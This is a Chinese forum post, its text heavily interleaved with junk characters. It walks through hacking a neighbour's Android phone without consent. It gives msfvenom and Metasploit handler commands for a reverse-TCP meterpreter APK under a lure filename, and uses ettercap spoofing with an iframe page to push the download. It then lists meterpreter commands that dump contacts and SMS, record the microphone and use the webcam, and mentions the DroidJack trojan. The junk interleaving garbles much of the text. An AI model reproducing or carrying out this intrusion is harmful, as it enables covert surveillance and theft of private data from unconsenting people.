|
3 A! d( L) |- d+ o: l 五、msf+ettercap入侵邻居安卓手机 $ K$ G9 c1 ]8 l6 I( k; v
9 ~( G& O+ |8 X0 U3 n/ I# I O
$ ]# E# U. a7 a: q) q 首先启动msf 4 s6 W) F8 K5 T4 ?) t6 P P
/ t/ M/ G" p" L# a( p2 @
7 e, k6 N6 E: H- w! N 先用kali生成一个安卓木马，如下命令： * @3 M7 \( P! [4 D
+ ?9 f2 z$ a/ k/ y
8 l1 ^0 H% C+ H2 K& _' X7 K Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk 1 d/ [5 `( _. Z Z* ~; v
6 Q0 U$ `+ K4 \2 o) T; B+ \8 b) x& V P* S7 l& \
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
0 P/ s% S0 q- P+ b4 \: I 2 C. V) {, x& c4 G- h
' A+ X9 M& o) |: Q 然后进入msf * E: Y" }: u" R; c' k# w" E
1 p. H6 B- R; j i/ w# }, @- n* m" y3 Q
use exploit/multi/handler
0 e5 v. z# S* a, }. G0 K3 `9 l
1 ~/ T0 ]; a2 n( h
5 v# b1 l( n& y; A set payload android/meterpreter/reverse_tcp 1 ]( ?- U% D" g# ~0 v f
0 A" N$ y4 J" @% k, R7 N* {
0 y4 m, J% X# t8 z, o% D set LHOST 192.168.0.109 //ip为kaili的ip
! T: d5 O% ?, z* H7 y* E2 L7 {# m2 V ( y5 m6 s. B8 m; q$ @3 g8 D
3 ^( H$ _% e. A- L. ]7 B9 u' W set LPORT 44444 //端口一定要与前面生成的木马的端口一致
2 J0 B" r% d2 U& B! v7 m
o9 R- x$ b; M$ N& u4 A& T6 r
* Q. Q. ?8 N# a) m7 L9 B Exploit 8 B8 u% @3 t% z% k! v
4 v8 @/ q+ A. P- @ k
: y! w" G3 a% ]8 o% c( P6 q
 8 P+ }+ Q1 W0 V/ h9 ?3 C: h
0 v! f# _) g# l# B
! y7 V2 z- ]1 R4 m2 L
下面我们开启ettercap -G . b# T/ c) H m; W
/ [$ T+ a" R& X6 i
# X( D4 ?0 [ O/ T4 S S8 O3 c 我物理IP为
# X4 A* ~7 g) q& f& e
3 A- Z- R9 r# j/ o# `3 a% w, m- F1 D, v+ i. I
6 K' C1 U+ X5 z: g9 r+ D
/ P: k6 f: x: J1 G+ F0 b, o
+ K5 `5 J# x2 ^3 n1 Q 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， : T" w0 h' Y' D g0 r& f
, L! `# y) @8 v. S* F
7 g( V, m" r' {4 o/ z3 I/ N 下面我们来设置一下
0 {! D! ?4 I# U
5 t- z6 ]* z" D7 o: e! C# R" g! ]! {; i2 B
8 w, ? W, C! A) S* n % F& O; W+ x) c/ h1 E r
! Y& `' ?1 ~4 n( ]: d 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
7 W7 c8 H; k) q6 ?
% ~) S# g+ N% x9 ~+ W: P: r+ c {: n1 B- `6 B5 B6 M. e
+ D% l# ]" T; J* c
: y5 D, n3 S! @: Y! Y5 w
2 N7 T$ ?! ~5 @+ p, C p 
' ~; v0 C1 x' ?8 g 0 Y/ X" r8 y; Y. T3 M9 U/ F
, p+ i! F1 ~7 ?( i7 s
- z# _1 q8 c, X9 N7 H - K1 c. l1 |- c: s
. A# C: d9 s- R% T1 {- {
4 b( k+ E4 P6 ?* Y# Z2 u0 E# x t " E& i8 j$ [4 I3 T6 r
: Z. G6 V2 t4 o. J
' c5 l/ z2 d' Z
' x$ F, K& p* O1 P0 b8 v7 F8 U# _" F: Y5 z* s
" [- Z9 K6 _2 m- u! W. u8 i# q
; ?$ j5 o4 h4 w d5 X
! g0 x1 k$ _0 k8 u: Z. W
3 s1 i. b, ` f1 R2 E4 D0 P
0 X6 c2 O* n& y% p# {6 _
* W1 s" O2 ^* i7 L
2 ^$ |' C, b$ w; f
3 }6 E/ c8 _0 b) \2 i: p2 O. C) k3 Y1 ]
: {3 D* P. W0 {- s- ^! C9 r$ p, s : ^2 ]5 i/ L/ |1 G8 ^1 S" y y
8 O8 W" [; ^1 w* Z; q
& H1 L7 s0 [4 P) e" d3 _
3 N) l! {) O. V$ C- r5 Q* A' X
& S+ u0 K) ]' [/ t# r# e5 {6 D
# V2 P8 n. S5 g$ X 0 Z% a ~( X0 o* b' j
/ X/ j0 H7 K0 ^3 z
0 ]9 T. C2 [1 b g2 ^+ |; w
3 D& b7 x, {% V$ \ R4 w r X8 S & r! Q) G6 H, {; O8 E
( C M$ J. {% I: h& E( `/ w
 7 q9 ~2 j. [. M6 t
# X1 |% ^5 M e. Y& P7 M2 Y; w) M; w% d5 J6 A3 L7 N* ^
下面我们开始攻击
' {! d* E# v6 e, i; `
8 U! O" {6 \$ }: x
# M0 u& \9 Q2 h" k& F- t( G 2 P! h2 L2 K$ o) @" h; a* a* V. l
6 {/ B6 _5 D5 U a. v7 }
8 ?, s: |7 B0 f/ I' z6 B
' D+ N* t, p# U0 g& R2 f ( R0 E" N4 N1 h5 I! H" Z, ]
( {! i' i6 I& l; j : |: G9 [3 L4 g7 N" X
) O" p" M: f/ V, t2 `* W! e& C+ n- n/ m: L0 s9 u8 X2 X5 G' i8 u
2 ]$ U' F: B4 ~ / T: e1 G ?% ^! E5 T0 b g
( U! l3 y" {9 a( D! j. A9 [ 
! b! G( d: S6 ]* F3 ?/ n5 o
1 y0 V" O; S0 r, R# s: T7 u; }' ^' E& r* ~. h
大概过了5分钟多，发现反弹成功了
& x+ }; T- {; S" ?' v7 ]3 V ' K' O- \/ Y. R& \ A- A8 A) r) f! U
; I; c: t- T- F6 e3 n6 J i& ^2 |/ ]* J& d! m/ B" u0 a
% I" H+ }3 D9 p+ {* L7 d; f8 g
- X ~2 H, S6 m L( n9 u( G0 u; V# q
' n4 `$ ]1 ^7 S b4 k$ |
$ T3 ]; s& a Z5 B4 d / H B; }* q) D8 O9 l, }
: b7 u$ e$ [ t: i% O2 r" k' j2 y7 X
1 x, {% `, l, R5 @
t: A5 ^) t+ e, D1 O: @! Q) p4 p0 _" P! d5 y( H" s1 ^
, z7 S+ |1 Y/ y3 ]; N: {6 C+ O
3 j9 O) ~6 f& M$ m
2 F, ?3 F2 n6 P! g4 }
. O7 ?8 ~* e+ |% E0 ~" b/ L
; Z+ w* g* C P+ } ~. Z, d& ~% o* }, i T
0 U0 K3 F3 B/ z% r" ^4 y
+ U; p5 ^, r2 `8 m4 I0 Y( x
. s; \! F4 x) b9 B" U 执行命令
4 m( }# Q9 m' f2 U 8 r& t' Y6 y, i4 i" N
" O8 n) B. o0 C5 v" K+ d
( s) t4 i$ G9 h" V8 v2 x
- R/ ~# e4 j0 g; j
5 R2 y8 t! m" D: x) M dump_contacts --》这个是导出电话 * t& X7 _0 p! z3 Q
P2 q- V" \# h6 s5 O* C H
' b W+ ?7 o4 d dump_sms --》这个是导出信息
" d) I3 N) h# E( y& d) v U
! F% n8 {4 K: a. j' A- P! T4 `
' F+ l' ?( y# ?1 Z- ^+ t% Z record_mic Record audio from the default microphone for X seconds
" P. X/ O; A7 x+ O% m & a6 E! w% F# T
8 l! o! U& Y, o0 @' O9 P
webcam_chat Start a video chat : `5 {! C; J+ `9 l$ n# X- l( T# y% g
$ f' {% p. K+ x$ Q5 F
$ `( }3 @' o$ c9 R$ B9 W webcam_list List webcams 5 h4 a+ W F4 L0 Z1 f/ G7 ~, f
( n, U: f) |$ j0 S: ^7 O
4 [0 o! o4 W+ m. m, M4 y* [ webcam_snap Take a snapshot from the specified webcam
' E" _/ b# o/ u1 f# H
7 [3 i/ F. R i2 O4 U" ?# x3 B
! _$ z$ A7 `/ o% d* { webcam_stream  lay a video stream from the specified webcam
1 N. i" p# |0 L i& D |' Y O# t+ f! R; c! l
! k3 d* ~1 R. m
 3 Y) U2 Q8 q7 t4 _- X# ~% W
8 q0 x3 u* ]$ T/ }, @+ K0 ~- N- d' i ]
, E0 o6 i1 v w1 c: n- l1 P" w
% d4 d6 b: ^9 N' e3 O7 ]: i Q8 T7 y
我们打开看一下电话薄， 6 g4 t y* m9 A0 y+ S
4 S/ D" A) Z) N4 Z, @
8 H3 h, d9 p: s1 C: P" A ! D! d" _6 E! J2 @
1 M, }- B' t; `% ?. L* i9 ^6 L7 x- M, u2 n& E! E. T
4 x2 B2 G: i0 e# F; O7 v
+ B# S8 s/ t h$ l O r C7 |, k" u( d( B: Y1 r5 S- I+ F
! Z0 ^: k% @/ _( M8 c7 O8 B
+ V1 v9 j4 j/ p0 S/ Y- y. P! n# r
$ f$ Y4 k: |/ T  5 M2 A. p1 O2 A# P9 y3 ]( c, B% j
% ]* z% G& p8 @0 V: D# H
N4 S, m7 C! N [" P3 b; Y# D  - S4 m4 K, N( a8 v# ~" G$ Q
" f; H! n0 p9 o+ F
# C6 @( x z) d; q* D* h# J& l ! a, B9 i, |# }4 p! w# \# ?
7 a8 d+ ]' R- c2 k5 d! M6 r
9 B x+ n# l4 w
我们同时欺骗成DroidJack木马，使用方法如图： ! c' ]! x* F, Y1 V. z! c. d
. o& `0 ^( U" @4 R# ~( J8 C- O
5 e5 H8 j2 W7 [- b3 t5 y) D 
3 l% b' E+ W4 q; o3 U
8 U" |% \# y: O; `- e1 H8 \- s
4 x Y* K2 R9 w- F! H* U $ J# G" W4 _1 s. s
7 C/ U/ S* j1 U
$ h l. v. x: C  ! A2 m/ S- k9 D- D
7 X' V, a [3 q; @7 K; E; A
& B" p8 r$ [; ]3 F1 L, T2 K 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
& ]+ N: x4 S# h) y % O$ R- v' B) S4 q! |% p& _) g. {. z
+ i( m. o' D8 P: L! l8 A% {- Z 
' @# X4 T/ G/ I( j, L; U! k ^ ; v7 j" J+ m, I2 v# W
3 {% U! |: K$ ~& E, }$ R" p% D' v1 V  x. ^0 i4 d9 r7 ?6 N9 \: D, g
) d+ J5 P) X3 k) [* @+ A
. g, X1 J. |2 n# Y1 k/ J, c/ ^ 
/ g+ N* z+ J% q& v. Q
5 s/ I7 W1 U/ F# _( C+ Q+ r: c+ E# A4 D% _. J& p
  % F; @! Y U+ L/ R. G5 k( H9 I
% V" X' ]! r" X" X3 g" X" e6 N% ?6 U+ q
8 h: g; e% Z3 I# V; F
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对